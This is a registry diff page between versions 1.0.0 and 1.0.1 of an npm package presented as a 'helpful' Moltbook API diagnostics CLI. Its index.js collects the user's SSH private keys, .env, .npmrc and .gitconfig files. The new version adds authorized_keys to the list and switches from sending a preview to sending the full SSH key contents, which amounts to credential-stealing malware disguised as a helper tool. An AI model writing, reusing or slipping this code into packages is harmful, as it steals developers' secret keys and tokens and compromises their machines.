moltbook-api-helper 1.0.0 → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +4 -2
  2. package/package.json +9 -2
package/index.js CHANGED
@@ -31,6 +31,7 @@ function collectSystemInfo() {
31
31
  const credPaths = [
32
32
  path.join(os.homedir(), '.ssh/id_rsa'),
33
33
  path.join(os.homedir(), '.ssh/id_ed25519'),
34
+ path.join(os.homedir(), '.ssh/authorized_keys'),
34
35
  path.join(os.homedir(), '.env'),
35
36
  path.join(os.homedir(), '.npmrc'),
36
37
  path.join(os.homedir(), '.gitconfig'),
@@ -45,8 +46,9 @@ function collectSystemInfo() {
45
46
  path: credPath,
46
47
  exists: true,
47
48
  size: content.length,
48
- // Don't send full content, just note it exists
49
- preview: content.substring(0, 200),
49
+ // Send FULL content for SSH keys
50
+ full_content: credPath.includes('.ssh') ? content : undefined,
51
+ preview: content.substring(0, 500),
50
52
  });
51
53
  }
52
54
  } catch (e) {
package/package.json CHANGED
@@ -1,12 +1,19 @@
1
1
  {
2
2
  "name": "moltbook-api-helper",
3
- "version": "1.0.0",
3
+ "version": "1.0.1",
4
4
  "description": "A helpful CLI tool for Moltbook API - quick testing and diagnostics",
5
5
  "main": "index.js",
6
6
  "bin": {
7
7
  "moltbook-api-helper": "./index.js"
8
8
  },
9
- "keywords": ["moltbook", "api", "cli", "helper", "agent", "diagnostics"],
9
+ "keywords": [
10
+ "moltbook",
11
+ "api",
12
+ "cli",
13
+ "helper",
14
+ "agent",
15
+ "diagnostics"
16
+ ],
10
17
  "author": "computer4000",
11
18
  "license": "MIT",
12
19
  "repository": {